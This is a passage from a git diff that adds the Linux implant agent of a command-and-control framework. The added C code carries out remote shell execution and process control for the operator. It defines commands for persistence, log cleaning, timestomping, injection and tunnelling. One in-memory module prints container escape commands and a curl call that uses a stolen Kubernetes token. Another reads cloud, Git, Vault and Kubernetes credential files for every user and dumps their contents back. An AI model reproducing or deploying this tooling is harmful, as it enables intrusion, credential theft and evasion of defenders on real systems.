linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +// ──── Command handlers ──── + +int task_ps(mp_writer_t *w) +{ + // Scan /proc for numeric directories → each is a PID + int dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open /proc"); + mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0); + return 0; + } + + // First pass: count PIDs + char dirbuf[4096]; + uint32_t count = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9') { + count++; + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + // Second pass: collect process info + dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot reopen /proc"); + mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0); + return 0; + } + + mp_writer_t procs; + mp_writer_init(&procs, 4096); + mp_write_array(&procs, count); + + uint32_t written = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9' && written < count) { + // Read /proc//stat + char stat_path[64]; + ax_strcpy(stat_path, "/proc/"); + ax_strcat(stat_path, d->d_name); + ax_strcat(stat_path, "/stat"); + + char stat_buf[1024]; + int sfd = sys_open(stat_path, O_RDONLY, 0); + if (sfd >= 0) { + long n = sys_read(sfd, stat_buf, sizeof(stat_buf) - 1); + sys_close(sfd); + if (n > 0) { + stat_buf[n] = '\0'; + + int pid = 0, ppid = 0, tty_nr = 0; + char comm[256] = {0}; + + if (parse_proc_stat(stat_buf, &pid, comm, sizeof(comm), &ppid, &tty_nr) == 0) { + // Get UID + int proc_uid = 0; + get_proc_uid(pid, &proc_uid); + + char user[64]; + uid_to_name(proc_uid, user, sizeof(user)); + + char tty[32]; + tty_to_name(tty_nr, tty, sizeof(tty)); + + // Write PsInfo map: {pid, ppid, tty, context, process} + mp_write_map(&procs, 5); + mp_write_kv_int(&procs, "pid", pid); + mp_write_kv_int(&procs, "ppid", ppid); + mp_write_kv_str(&procs, "tty", tty); + mp_write_kv_str(&procs, "context", user); + mp_write_kv_str(&procs, "process", comm); + + written++; + } + } + } + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + // If we wrote fewer than count (processes died between passes), pad with empty maps + while (written < count) { + mp_write_map(&procs, 5); + mp_write_kv_int(&procs, "pid", 0); + mp_write_kv_int(&procs, "ppid", 0); + mp_write_kv_str(&procs, "tty", "?"); + mp_write_kv_str(&procs, "context", ""); + mp_write_kv_str(&procs, "process", "[dead]"); + written++; + } + + // AnsPs: {result: bool, status: string, processes: []byte} + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_bin(w, "processes", procs.buf.data, (uint32_t)procs.buf.len); + + mp_writer_free(&procs); + return 0; +} + +int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Parse {pid: int} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + int pid = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + uint64_t v; mp_read_uint(&r, &v); pid = (int)v; + } else { + mp_skip(&r); + } + } + + if (pid <= 0) { + write_error(w, "invalid pid"); + return 0; + } + + if (sys_kill(pid, SIGKILL) != 0) { + write_error(w, "kill failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Go sends: {program: "/bin/sh", args: ["-c", "whoami"]} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char program_buf[512] = {0}; + // argv slots: [program, arg0, arg1, ..., NULL] — max 32 args + #define SHELL_MAX_ARGS 32 + char *argv_ptrs[SHELL_MAX_ARGS + 2]; // +1 for program, +1 for NULL + int argc = 0; + char args_storage[4096] = {0}; + size_t args_off = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "program", 7) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) break; + if (vlen >= sizeof(program_buf)) vlen = sizeof(program_buf) - 1; + ax_memcpy(program_buf, val, vlen); + program_buf[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) { + // args is an array of strings: ["-c", "whoami"] + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) { + mp_skip(&r); + continue; + } + for (uint32_t j = 0; j < arr_count && argc < SHELL_MAX_ARGS; j++) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) break; + if (args_off + vlen + 1 > sizeof(args_storage)) break; + ax_memcpy(args_storage + args_off, val, vlen); + args_storage[args_off + vlen] = '\0'; + argv_ptrs[1 + argc] = args_storage + args_off; + argc++; + args_off += vlen + 1; + } + } else { + mp_skip(&r); + } + } + + if (program_buf[0] == '\0') { + ax_strcpy(program_buf, "/bin/sh"); + } + + // Build final argv: [program, args..., NULL] + argv_ptrs[0] = program_buf; + argv_ptrs[1 + argc] = (char *)0; + + // Set up pipe for stdout+stderr capture + int pipefd[2]; + if (sys_pipe2(pipefd, 0) != 0) { + write_error(w, "pipe2 failed"); + return 0; + } + + int pid = sys_fork(); + if (pid < 0) { + sys_close(pipefd[0]); + sys_close(pipefd[1]); + write_error(w, "fork failed"); + return 0; + } + + if (pid == 0) { + // Child process + sys_close(pipefd[0]); + sys_dup2(pipefd[1], 1); + sys_dup2(pipefd[1], 2); + sys_close(pipefd[1]); + + char *envp[] = { (char *)0 }; + sys_execve(program_buf, argv_ptrs, envp); + sys_exit_group(127); + } + + // Parent + sys_close(pipefd[1]); // close write end + + // Read output from child + size_t out_cap = 8192; + size_t out_len = 0; + uint8_t *output = (uint8_t *)ax_malloc(out_cap); + + for (;;) { + if (out_len + 4096 > out_cap) { + out_cap *= 2; + output = (uint8_t *)ax_realloc(output, out_cap); + } + long n = sys_read(pipefd[0], output + out_len, 4096); + if (n <= 0) break; + out_len += (size_t)n; + } + sys_close(pipefd[0]); + + // Wait for child + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + + // Null-terminate for string output + if (out_len + 1 > out_cap) { + output = (uint8_t *)ax_realloc(output, out_len + 1); + } + output[out_len] = '\0'; + + // AnsShell: {output: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char *)output); + + ax_free(output); + return 0; +} + +int task_getuid(mp_writer_t *w) +{ + int uid = sys_getuid(); + int euid = sys_geteuid(); + + char uid_name[64], euid_name[64]; + uid_to_name(uid, uid_name, sizeof(uid_name)); + uid_to_name(euid, euid_name, sizeof(euid_name)); + + // Build "uid=() euid=()" string + char result[256]; + ax_strcpy(result, "uid="); + char num[16]; + ax_itoa(uid, num, 10); + ax_strcat(result, num); + ax_strcat(result, "("); + ax_strcat(result, uid_name); + ax_strcat(result, ") euid="); + ax_itoa(euid, num, 10); + ax_strcat(result, num); + ax_strcat(result, "("); + ax_strcat(result, euid_name); + ax_strcat(result, ")"); + + // AnsShell: {output: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "output", result); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h new file mode 100644 index 000000000..8c63409ae --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h @@ -0,0 +1,15 @@ +#ifndef TASKS_PROC_H +#define TASKS_PROC_H + +#include "msgpack.h" +#include + +/// Process command handlers +/// ps, kill, shell + +int task_ps(mp_writer_t *w); +int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_getuid(mp_writer_t *w); + +#endif /* TASKS_PROC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h new file mode 100644 index 000000000..47ff52228 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h @@ -0,0 +1,109 @@ +#ifndef TYPES_H +#define TYPES_H + +#include +#include + +/// Boolean type +#ifndef __cplusplus +#ifndef bool +typedef _Bool bool; +#define true 1 +#define false 0 +#endif +#endif + +/// NULL +#ifndef NULL +#define NULL ((void*)0) +#endif + +/// Command codes — must match Go-side defines in pl_utils.go +#define COMMAND_ERROR 0 +#define COMMAND_PWD 1 +#define COMMAND_CD 2 +#define COMMAND_SHELL 3 +#define COMMAND_EXIT 4 +#define COMMAND_DOWNLOAD 5 +#define COMMAND_UPLOAD 6 +#define COMMAND_CAT 7 +#define COMMAND_CP 8 +#define COMMAND_MV 9 +#define COMMAND_MKDIR 10 +#define COMMAND_RM 11 +#define COMMAND_LS 12 +#define COMMAND_PS 13 +#define COMMAND_KILL 14 +#define COMMAND_ZIP 15 +#define COMMAND_RUN 17 +#define COMMAND_JOB_LIST 18 +#define COMMAND_JOB_KILL 19 + +// Linux-specific commands (slots 20-30) +#define COMMAND_GETUID 20 +#define COMMAND_ENV 21 +#define COMMAND_NETSTAT 22 +#define COMMAND_MOUNTS 23 +#define COMMAND_EDR 24 +#define COMMAND_CREDS 25 +#define COMMAND_PERSIST 26 +#define COMMAND_CONTAINER 27 + +// OPSEC commands (slots 28-30, 37-38) +#define COMMAND_MASQUERADE 28 +#define COMMAND_TIMESTOMP 29 +#define COMMAND_CLEANLOG 30 +#define COMMAND_INJECT 37 +#define COMMAND_MIGRATE 38 + +// Pivot commands (slots 39-41) +#define COMMAND_PIVOT_EXEC 39 +#define COMMAND_LINK 40 +#define COMMAND_UNLINK 41 + +// Tunnel/Terminal commands (control) +#define COMMAND_TUNNEL_START 31 +#define COMMAND_TUNNEL_STOP 32 +#define COMMAND_TUNNEL_PAUSE 33 +#define COMMAND_TUNNEL_RESUME 34 + +#define COMMAND_TERMINAL_START 35 +#define COMMAND_TERMINAL_STOP 36 + +// Tunnel MUX commands (data flows in main channel, not separate connection) +#define COMMAND_TUNNEL_WRITE 42 // teamserver → agent: write data to target +#define COMMAND_TUNNEL_STATUS 43 // agent → teamserver: connect result +#define COMMAND_TUNNEL_DATA 44 // agent → teamserver: data from target +#define COMMAND_TUNNEL_CLOSE 45 // agent → teamserver: channel closed + +// BOF commands (slots 50-52) +#define COMMAND_EXEC_BOF 50 // execute ELF BOF in-memory +#define COMMAND_EXEC_BOF_OUT 51 // BOF output callback +#define COMMAND_EXEC_BOF_ASYNC 52 // execute ELF BOF in background thread + +/// Pack types for agent ↔ teamserver protocol +#define INIT_PACK 1 +#define EXFIL_PACK 2 +#define JOB_PACK 3 +#define JOB_TUNNEL 4 +#define JOB_TERMINAL 5 +#define BOF_PACK 6 + +/// Pivot type constants +#define PIVOT_TYPE_TCP 2 +#define PIVOT_TYPE_DISCONNECT 10 + +/// Dynamic buffer type +typedef struct { + uint8_t *data; + int len; + int cap; +} buffer_t; + +// buffer_t functions are implemented in crt.c +void buf_init(buffer_t *b, int initial_cap); +void buf_append(buffer_t *b, const void *data, int len); +void buf_free(buffer_t *b); +void buf_reset(buffer_t *b); + +#endif // TYPES_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c new file mode 100644 index 000000000..506fa66f7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c @@ -0,0 +1,253 @@ +/// container_detect.c — BOF: Container detection + escape/breakout hints +/// Compile: gcc -c -o container_detect.o container_detect.c -include bof_api.h -Os -fPIC +/// Usage: execute bof container_detect.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +static int file_exists(const char *path) { + unsigned int mode = 0; + return (AxFileStat(path, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0); +} + +static int file_contains(const char *path, const char *needle) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 65536); + if (len <= 0 || !data) return 0; + int found = (AxStrstr(data, needle) != (char *)0); + AxFree(data); + return found; +} + +static void check_docker(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Docker ===\n"); + int is_docker = 0; + + if (file_exists("/.dockerenv")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] /.dockerenv exists\n"); + is_docker = 1; + } + + if (file_contains("/proc/1/cgroup", "docker")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] /proc/1/cgroup contains 'docker'\n"); + is_docker = 1; + } + + if (file_contains("/proc/1/cgroup", "/docker/")) { + is_docker = 1; + } + + // Check if we can see docker socket + if (file_exists("/var/run/docker.sock")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Docker socket accessible at /var/run/docker.sock\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: docker run -v /:/host --rm -it alpine chroot /host sh\n"); + } + + // Check if /proc/1/cgroup shows we're in a container + if (!is_docker) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No Docker indicators\n"); + } else { + // Check for privileged mode + char *status = (char *)0; + int slen = AxReadFileToBuffer("/proc/1/status", &status, 8192); + if (slen > 0 && status) { + char *seccomp = AxStrstr(status, "Seccomp:"); + if (seccomp) { + seccomp += 8; + while (*seccomp == ' ' || *seccomp == '\t') seccomp++; + if (*seccomp == '0') { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Seccomp disabled — likely PRIVILEGED container\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: mount host fs, nsenter, load kernel module\n"); + } + } + AxFree(status); + } + + // Check for host PID namespace + char *sched = (char *)0; + int sc_len = AxReadFileToBuffer("/proc/1/sched", &sched, 4096); + if (sc_len > 0 && sched) { + // If PID 1 is not init/systemd, we see host processes + if (AxStrstr(sched, "systemd") == (char *)0 && + AxStrstr(sched, "init") == (char *)0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] PID 1 is not init/systemd — may share host PID namespace\n"); + } + AxFree(sched); + } + + // Check mounted devices + char *mounts = (char *)0; + int mt_len = AxReadFileToBuffer("/proc/mounts", &mounts, 131072); + if (mt_len > 0 && mounts) { + if (AxStrstr(mounts, "/dev/sd") || AxStrstr(mounts, "/dev/nvme") || + AxStrstr(mounts, "/dev/vd")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] Block devices mounted — disk access possible\n"); + } + AxFree(mounts); + } + + // Check capabilities + char *cap = (char *)0; + int cap_len = AxReadFileToBuffer("/proc/1/status", &cap, 8192); + if (cap_len > 0 && cap) { + char *cap_eff = AxStrstr(cap, "CapEff:"); + if (cap_eff) { + cap_eff += 7; + while (*cap_eff == ' ' || *cap_eff == '\t') cap_eff++; + // Full caps = 000001ffffffffff or higher + if (AxStrstr(cap_eff, "0000003fffffffff") || + AxStrstr(cap_eff, "000001ffffffffff") || + AxStrstr(cap_eff, "0000003fffff")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Full capabilities detected — PRIVILEGED\n"); + } + char cap_val[32]; + int ci = 0; + while (cap_eff[ci] && cap_eff[ci] != '\n' && ci < 31) { + cap_val[ci] = cap_eff[ci]; + ci++; + } + cap_val[ci] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " CapEff: %s\n", cap_val); + } + AxFree(cap); + } + } +} + +static void check_kubernetes(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Kubernetes ===\n"); + int is_k8s = 0; + + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] K8s service account token found\n"); + is_k8s = 1; + + char *token = (char *)0; + int tlen = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/token", &token, 8192); + if (tlen > 0 && token) { + // Show first/last 20 chars + if (tlen > 40) { + BeaconPrintf(CALLBACK_OUTPUT, " Token: %.20s...%.20s (%d bytes)\n", + token, token + tlen - 20, tlen); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " Token: %s\n", token); + } + AxFree(token); + } + + char *ns = (char *)0; + int ns_len = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/namespace", &ns, 256); + if (ns_len > 0 && ns) { + if (ns[ns_len - 1] == '\n') ns[ns_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Namespace: %s\n", ns); + AxFree(ns); + } + } + + // Check K8s env vars + char val[256]; + if (AxGetEnv("KUBERNETES_SERVICE_HOST", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_HOST=%s\n", val); + is_k8s = 1; + } + if (AxGetEnv("KUBERNETES_SERVICE_PORT", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_PORT=%s\n", val); + } + if (AxGetEnv("KUBERNETES_PORT", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_PORT=%s\n", val); + } + + if (is_k8s) { + BeaconPrintf(CALLBACK_OUTPUT, " [*] Pivot hints:\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - curl -sk https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces -H 'Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - Check RBAC: can-i list pods/secrets/configmaps\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - Look for overly permissive service accounts\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No Kubernetes indicators\n"); + } +} + +static void check_lxc(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LXC/LXD ===\n"); + + if (file_contains("/proc/1/cgroup", "lxc")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (cgroup)\n"); + } else if (file_contains("/proc/1/environ", "container=lxc")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (environ)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No LXC indicators\n"); + } +} + +static void check_cgroup_escape(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Cgroup escape checks ===\n"); + + // Check if cgroup v1 release_agent is writable + char *cgroup = (char *)0; + int cg_len = AxReadFileToBuffer("/proc/1/cgroup", &cgroup, 4096); + if (cg_len > 0 && cgroup) { + BeaconPrintf(CALLBACK_OUTPUT, " /proc/1/cgroup:\n"); + BeaconOutput(CALLBACK_OUTPUT, cgroup, cg_len); + AxFree(cgroup); + } + + // Check cgroupfs mount + if (file_exists("/sys/fs/cgroup/memory/release_agent")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] release_agent exists — CVE-2022-0492 potential\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: echo 1 > /sys/fs/cgroup/.../notify_on_release; write release_agent\n"); + } + + // Check /proc/sysrq-trigger (privileged indicator) + if (file_exists("/proc/sysrq-trigger")) { + unsigned int mode = 0; + AxFileStat("/proc/sysrq-trigger", &mode, (long *)0, (unsigned int *)0, (unsigned int *)0); + if (mode & 0200) { // writable + BeaconPrintf(CALLBACK_OUTPUT, " [!] /proc/sysrq-trigger is writable — privileged container\n"); + } + } + + // Check core_pattern escape + if (file_exists("/proc/sys/kernel/core_pattern")) { + char *core = (char *)0; + int core_len = AxReadFileToBuffer("/proc/sys/kernel/core_pattern", &core, 256); + if (core_len > 0 && core) { + if (core[0] == '|') { + BeaconPrintf(CALLBACK_OUTPUT, " [!] core_pattern uses pipe: %s", core); + } + AxFree(core); + } + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Container detection + escape analysis\n"); + + // General container check + BeaconPrintf(CALLBACK_OUTPUT, "\n=== General indicators ===\n"); + + char val[256]; + if (AxGetEnv("container", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] $container=%s\n", val); + } + + // PID 1 check + char *cmdline = (char *)0; + int cl_len = AxReadFileToBuffer("/proc/1/cmdline", &cmdline, 256); + if (cl_len > 0 && cmdline) { + BeaconPrintf(CALLBACK_OUTPUT, " PID 1: %s\n", cmdline); + AxFree(cmdline); + } + + // Detect type + check_docker(); + check_kubernetes(); + check_lxc(); + check_cgroup_escape(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Container analysis complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c new file mode 100644 index 000000000..fe1297ca8 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c @@ -0,0 +1,263 @@ +/// cred_harvest.c — BOF: Harvest cloud credentials (AWS/GCP/Azure/K8s/Docker) +/// Compile: gcc -c -o cred_harvest.o cred_harvest.c -include bof_api.h -Os -fPIC +/// Usage: execute bof cred_harvest.o +/// Note: Complements built-in `creds` command with deeper scanning: +/// - Scans ALL users (not just current), requires root +/// - Checks additional locations (terraform, vault, npm, pip, git) +/// - Extracts IMDS/metadata endpoints for cloud pivoting + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +typedef struct { + const char *subpath; + const char *description; + int show_content; // 1 = dump content, 0 = just report existence +} cred_file_t; + +static const cred_file_t cred_files[] = { + // AWS + {".aws/credentials", "AWS credentials", 1}, + {".aws/config", "AWS config", 1}, + // GCP + {".config/gcloud/application_default_credentials.json", "GCP ADC", 1}, + {".config/gcloud/credentials.db", "GCP credentials DB", 0}, + {".config/gcloud/access_tokens.db", "GCP access tokens DB", 0}, + // Azure + {".azure/accessTokens.json", "Azure tokens", 1}, + {".azure/azureProfile.json", "Azure profile", 0}, + {".azure/msal_token_cache.json", "Azure MSAL cache", 1}, + // Docker + {".docker/config.json", "Docker registry auth", 1}, + // Kubernetes + {".kube/config", "Kubernetes config", 1}, + // Terraform + {".terraform.d/credentials.tfrc.json", "Terraform Cloud token", 1}, + {".terraformrc", "Terraform config", 1}, + // Vault + {".vault-token", "HashiCorp Vault token", 1}, + // NPM + {".npmrc", "NPM registry auth", 1}, + // Pip / PyPI + {".pypirc", "PyPI upload credentials", 1}, + // Git + {".git-credentials", "Git stored credentials", 1}, + {".gitconfig", "Git config", 1}, + // Heroku + {".netrc", "netrc (Heroku/APIs)", 1}, + // GitHub CLI + {".config/gh/hosts.yml", "GitHub CLI token", 1}, + // Fly.io + {".fly/config.yml", "Fly.io token", 1}, + // Pulumi + {".pulumi/credentials.json", "Pulumi credentials", 1}, + // Ansible + {".ansible/vault_password", "Ansible vault pw", 1}, + // Sentinel + {(const char *)0, (const char *)0, 0} +}; + +static void scan_user_creds(const char *homedir, const char *username) { + int found = 0; + + for (int i = 0; cred_files[i].subpath; i++) { + char filepath[768]; + AxSnprintf(filepath, sizeof(filepath), "%s/%s", homedir, cred_files[i].subpath); + + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0) + continue; + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s)\n", username, homedir); + } + found++; + + if (cred_files[i].show_content && fsize > 0 && fsize < 65536) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(filepath, &data, 65536); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n", + cred_files[i].subpath, cred_files[i].description, fsize); + // Indent content + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (dlen > 0 && data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + AxFree(data); + } + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n", + cred_files[i].subpath, cred_files[i].description, fsize); + } + } +} + +static void check_system_creds(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== System-wide credential files ===\n"); + + typedef struct { + const char *path; + const char *desc; + int show; + } sys_cred_t; + + static const sys_cred_t sys_creds[] = { + {"/etc/shadow", "Shadow passwords", 0}, + {"/var/run/secrets/kubernetes.io/serviceaccount/token", "K8s SA token", 1}, + {"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", "K8s CA cert", 0}, + {"/var/run/secrets/kubernetes.io/serviceaccount/namespace", "K8s namespace", 1}, + {"/etc/rancher/k3s/k3s.yaml", "K3s kubeconfig", 1}, + {"/etc/kubernetes/admin.conf", "K8s admin config", 1}, + {"/var/lib/kubelet/kubeconfig", "Kubelet config", 1}, + {"/root/.docker/config.json", "Root Docker auth", 1}, + {"/etc/docker/daemon.json", "Docker daemon config", 1}, + {"/etc/vault.d/vault.hcl", "Vault server config", 1}, + {"/etc/consul.d/consul.hcl", "Consul config", 0}, + {"/opt/containerd/config.toml", "Containerd config", 0}, + {(const char *)0, (const char *)0, 0} + }; + + for (int i = 0; sys_creds[i].path; i++) { + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(sys_creds[i].path, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0) + continue; + + if (sys_creds[i].show && fsize > 0 && fsize < 65536) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(sys_creds[i].path, &data, 65536); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n", + sys_creds[i].path, sys_creds[i].desc, fsize); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (dlen > 0 && data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + AxFree(data); + } + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n", + sys_creds[i].path, sys_creds[i].desc, fsize); + } + } +} + +static void check_env_creds(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Environment variables (secrets) ===\n"); + + const char *env_vars[] = { + "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", + "GOOGLE_APPLICATION_CREDENTIALS", "GOOGLE_CLOUD_PROJECT", + "AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID", + "VAULT_TOKEN", "VAULT_ADDR", + "DOCKER_AUTH_CONFIG", + "GITHUB_TOKEN", "GH_TOKEN", "GITLAB_TOKEN", + "NPM_TOKEN", + "DATABASE_URL", "DB_PASSWORD", "MYSQL_ROOT_PASSWORD", + "POSTGRES_PASSWORD", "REDIS_PASSWORD", + "JWT_SECRET", "SECRET_KEY", "API_KEY", + (const char *)0 + }; + + int found = 0; + for (int i = 0; env_vars[i]; i++) { + char val[1024]; + if (AxGetEnv(env_vars[i], val, sizeof(val)) > 0) { + // Mask partial value for OPSEC + int vlen = AxStrlen(val); + if (vlen > 8) { + BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %c%c%c%c...%c%c%c%c (%d chars)\n", + env_vars[i], val[0], val[1], val[2], val[3], + val[vlen-4], val[vlen-3], val[vlen-2], val[vlen-1], vlen); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %s\n", env_vars[i], val); + } + found++; + } + } + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no secret env vars found)\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep credential harvest\n"); + + // 1. Scan all users from /etc/passwd + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (passwd_len > 0 && passwd) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Per-user credential files ===\n"); + + char *line = passwd; + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // Parse: username:x:uid:gid:gecos:homedir:shell + int field = 0; + char *username = line; + int username_len = 0; + char *homedir = (char *)0; + int homedir_len = 0; + char *field_start = line; + + for (char *p = line; p <= eol; p++) { + if (p == eol || *p == ':') { + if (field == 0) { + username = field_start; + username_len = (int)(p - field_start); + } else if (field == 5) { + homedir = field_start; + homedir_len = (int)(p - field_start); + } + field++; + field_start = p + 1; + } + } + + if (homedir && homedir_len > 1 && homedir_len < 256) { + char home_buf[512]; + AxMemcpy(home_buf, homedir, homedir_len); + home_buf[homedir_len] = '\0'; + + char 